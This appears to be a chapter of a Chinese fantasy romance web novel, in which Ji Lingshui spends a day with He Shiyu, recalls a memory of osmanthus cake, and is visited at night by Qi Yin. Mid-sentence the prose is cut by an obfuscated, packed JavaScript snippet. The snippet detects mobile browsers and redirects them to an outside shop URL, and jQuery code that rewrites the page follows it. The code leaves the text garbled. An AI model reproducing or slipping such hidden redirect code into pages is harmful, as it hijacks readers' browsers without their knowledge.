鹤拾鱼带姬灵水上了酒楼,好巧不巧,底下评书的先生讲的就是千年前那位升仙的人皇。
姬灵水小口抿着茶水,冷不丁涩得她眉头紧皱,还不忘去瞥鹤拾鱼的神色,毕竟他在她面前表现得那般不想与鱼扶鹤沾边,不知听人大肆赞颂他的功绩时会是如何感受。
未想身边鹤拾鱼听得津津有味。
姬灵水把茶杯放下,掩不住好奇:“你不是很讨厌他吗?还是说,他们口中的鱼扶鹤其实才是你,那些好事是你做的?”
鹤拾鱼微微动作,指尖去够桌上的物件,忽然头上玉簪松落,引得墨色长发轻柔垂散下来,姬灵水眼疾手快去帮他扶那玉簪,下一瞬舌尖抿到一丝甜意。
她轻怔住,只见鹤拾鱼捏着一块桂花糕抵在她双唇间,正盯着她发笑。
姬灵水直愣愣咬下一口,鹤拾鱼才收回手:“还苦吗?”
姬灵水摇头:“现下很甜了。”
心里却发怵,方才她被茶水苦到的时候分明一声未吭,鹤拾鱼视线在评书先生上,到底如何注意到她的?是不是两边脸上还长了她看不到的眼睛?
此人实在可怕。
“我是很讨厌他。”鹤拾鱼忽然开口。
姬灵水反应过来他是在回答她方才的话。
鹤拾鱼继续道:“可在某些事上我们是一样的,譬如我们都想尽力保人界安乐,不受外界侵袭。”
“三千年前仙界打败魔界后,魔界曾想用秘术借无数凡躯复起,那时鱼扶鹤不得其法,所以我才会降生。”
三千年前……那时她好像才出生。
“正因那次护了人界安宁,他才成了流芳百世的仁德明君,所以这称颂,我有何听不得?”
姬灵水问:“可你说过……鱼扶鹤不择手段,甚至亲手制了‘鬼人’,如此草菅人命你也允许么?”
与他这么相处下来,姬灵水并不觉得他就像自己口中说得那般无辜,再者说,他与鱼扶鹤又不是一体双魂,而是真真切切就是同一个人。
鱼扶鹤坏,鹤拾鱼也好不到哪去。
鹤拾鱼神色晦暗,把指间剩下的半块桂花糕送入口中。
甜气盈润口腔。
让他想起以前的事。
他盯着指腹上的糕屑:“以前你吃桂花糕的时候,会跟他接吻。”
鹤拾鱼记得那个味道。
就是这个味道。
……?姬灵水头皮一阵发麻,是怎么聊到这里的?
她坐立不安,眼神飞快在周围扫过,生怕有人听到他说话。
鹤拾鱼顶着这么张脸,背脊板正遗世独立般坐在此处就已够扎眼了,又动不动十分正经深沉地冒出这些让她脸红的话语……她觉得丢人,啊不,丢仙!
“我问的不是这个!”她压低声音赶紧道。
“我问的是这个。”鹤拾鱼正色,眼神凝在她面上。
姬灵水颇为无奈:“你要问什么?”
鹤拾鱼沉声:“若品行恶劣的人是我,你会选择我吗?”
……
长久的沉默。
姬灵水自认愚笨的头脑再一次受到了挫败。
她竟听不懂这句话。
第一,她并未因鱼扶鹤品行恶劣而选择鹤拾鱼;
第二,鹤拾鱼为何要假设自己品行恶劣;
第三,她为什么要做选择?她只是暂且想鱼扶鹤醒过来,借此保一保屺阴的命而已。
难道前世她选了鱼扶鹤?可她前世根本就不知道有鹤拾鱼的存在啊。
“我知道你的答案了。”鹤拾鱼冷着脸起身,惊得姬灵水立即伸手去拉他,脚步踉跄了两下。
鹤拾鱼还是不管不顾要走,姬灵水只好苦着脸一副豁出去的模样从背后伸手将鹤拾鱼牢牢箍住。
这下果然周围的人眼神全都看过来了,姬灵水脸红得像烫熟的虾,几乎要哭出来。
她暗暗发誓,等她得了屺阴的灵力,第一个报复的人就是鹤拾鱼!
那厢鹤拾鱼不知又是哪根筋搭错了,他顺势握着姬灵水的手转过身,方才的不郁的神色仿佛是她看错了一样,仔细瞧还能瞧见他眼底泛起委屈的红。
她都还没哭呢,他装什么可怜?
鹤拾鱼似乎看不见周围人的指指点点,垂眸满眼都是姬灵水。
他伸手去擦她嘴角的细小的桂花糕屑。
方才他就想这么做的。
鹤拾鱼手抚上来的时候姬灵水心中警铃大作,调动了许久未用过的传音术,紧紧闭着双唇。
“你要是敢亲我你就完了!”
鹤拾鱼的手一顿,苦涩的笑意转瞬即逝。
随后清晰的声音出口:“我不会。”
只要她不想要的,他什么都不会做。
他只期望她永远也不要记起前尘过往,不要想起曾经受过的伤,不要知晓他所犯下的过错。
哪怕他永远以鱼扶鹤的记忆与她相处也没关系。
·
累了一天好不容易回到行宫,姬灵水倒头就睡,倒也不担心鹤拾鱼会趁晚上的功夫偷偷跑去干掉屺阴,白日在酒楼的时候鹤拾鱼就答应了她,只要她不跑,鹤拾鱼就会一直乖乖待在人界。
她如今是知晓了,只要她表现出一副喜爱鹤拾鱼超过鱼扶鹤的模样他就会很高兴,就连她叫他名字时他都很欢喜。
对此姬灵水讨教了他,恬不知耻地问他为何对自己情根深种,鹤拾鱼也恬不知耻地回应道,前世成亲后他就对姬灵水一往情深了,一切都怪鱼扶鹤棒打鸳鸯,生生拆散了二人。
这么说,她缺失的那段记忆应该就是鱼扶鹤以鹤拾鱼的身份做了什么不好的事。
姬灵水躺在榻上,思绪翻飞。
若事实是如此,前世丢下她的人是鱼扶鹤,而不是鹤拾鱼,那她算是找回了曾经的爱人么。
但要她叩问自己的心,还是难以掀起波澜。
鹤拾鱼冲破桎梏出来寻她,她却一心只想召回另一个人,甚至想让他永远消失……但今日逛街市的种种,的确又让她思起了前尘的些许甜蜜。
姬灵水手指抵在唇间,想起桂花糕的香甜气味。
鹤拾鱼说的那件事,其实是他们新婚后不久一同下人界时发生的。人皇大婚,人间自然也热闹纷纷,特意办了十日灯会相庆,那时鱼扶鹤仍然十分木讷,在她面前的举止完全是一个浑然天成的正人君子,与她并肩走在一起的时候中间可以修一条银河。
姬灵水本性热情,这般跟他干游了九日灯会,直到最后一夜,她百无聊赖地啃着刚买的桂花糕时实在忍不住,问鱼扶鹤要不要尝尝。
鱼扶鹤先是一愣。他似乎并不喜甜食,却抵不过姬灵水充满希冀的眼神,温声说可以一试。
姬灵水闻言捏着一块桂花糕直直送到他唇间,而后趁着鱼扶鹤愣神的时候,姬灵水踮着脚凑上去,飞快咬下另一半,而后她仿佛占了很大便宜似的,笑嘻嘻地同他说,“这样更甜。”
姬灵水还记得那夜。
整条街的灯火熄灭时,他们周遭的世界一片昏暗,只有唇间有着彼此的温度。
她听到了鱼扶鹤心跳的声音。
所以,这一切都被鹤拾鱼看到了?
该死啊该死。
……
越想越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585773|205251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烦,姬灵水的思绪飘向远方,也不知道屺阴救出桑桑了没,他们现在会在上仙洲吗?屺阴应当还是无法原谅她吧?可他为什么会去万陵救她?
还有……今日她在街上看到了一个人。
黎长微。
若她没有看错,黎长微也看到了她。他的目光一如既往地淡,可是目标却很分明,就是看向了她。她分不清他眼里的是不屑还是别的什么。
倒也无须分清,连黎无双都知道,黎长微一直很不喜欢她。
再不喜欢也不至于追到人界来就为了瞪她一眼吧?
或许是有什么事要办,碰巧遇见而已。
想着想着,姬灵水的意识开始变得模糊。她已经很久没好好睡过一觉了,今日发生的事情太过多,思考又让她费尽心神。她还没有找到召回鱼扶鹤的办法,必须得养好精神明日才能继续应对鹤拾鱼。
迷蒙间,她眼前掠过一个黑影。
姬灵水几乎是腾地一下从床榻坐起,心险些跳出喉咙。
待看清眼前人模样的时候,姬灵水满腔的惊惧瞬间化为乌有,她从未想到有朝一日会见到屺阴就像见到了亲人般安心,她不仅松了口气,心中甚至还有几分隐秘的喜悦。
“你怎么来了!”姬灵水立即看向殿外,小声道,“他没发现你吗?”
屺阴抱臂,眼神睨下来:“他发现不了。”
“什么意思?”姬灵水有些紧张,“要是被发现,他不会放过你的。”
屺阴手指翻动,姬灵水这才发现他指间在摆弄一只瓷瓶,只是须臾不见,这人的肤色好像又白了几分,她能看见他掌心的青筋。
“从他的长生殿里拿的,似乎对他很有效用。”他解释道。
姬灵水险些喜极而泣,二话不说就要上前去抱他,被屺阴一拦,他神色淡淡:“来找你只是因为牵脉引还在你手中,你若出事,我也无法独活。”
真的吗……姬灵水更感动了,这么说屺阴拼死也会保护她的安危吗?那她暂时不必太过忧心有人偷偷解决掉她了。看来当初找姬烬水要牵脉引是一个无比正确的抉择。
一少了束缚,姬灵水今日的委屈纷纷涌上心头,她撇嘴,倒豆子般向他倾诉:“我可是因为保护你才被他威胁的,于情于理,你都应该来。”
屺阴罕见地没有回以嘲讽,“桑桑在上仙洲等你。”
姬灵水神情更忧伤了:“我不能走……在他变回鱼扶鹤之前,我得一直在这里。”
“变回鱼扶鹤?”
姬灵水点点头:“此事说来话长,总之你能来找我我很高兴,可我不能走,我一走,他一定会去找你。”
屺阴眼神暗下去:“为什么找我?在我身上,有什么我不知道的秘密?”
“……”姬灵水不知道能不能说,要是说了,以后恐怕就不能接近他取他的灵力了。
屺阴的脚步却逼过来,姬灵水方才本就是跪坐在床上与他说话,这会儿身子越来越往下塌。
直至他整个身影罩着她,姬灵水避无可避。
她咬咬牙,勾住屺阴的脖子,把他整个人往榻上拉。
“那你答应我一件事,我就告诉你。”
很奇怪,自从上次在无极山之后,她好像越来越不讨厌他了。离他很近时,她还能看见他脸上细小的绒毛,嗅到他身上奇异的花香。
屺阴一只手撑在床上,支起自己的身子,看向姬灵水的眼神难掩愤然,他强压下自己的情绪,硬着声线咬牙切齿道:“公主,勿要得寸进尺。”
他如今尚且清醒,怎容她一而再再而三地践踏。
他就不该管她的死活。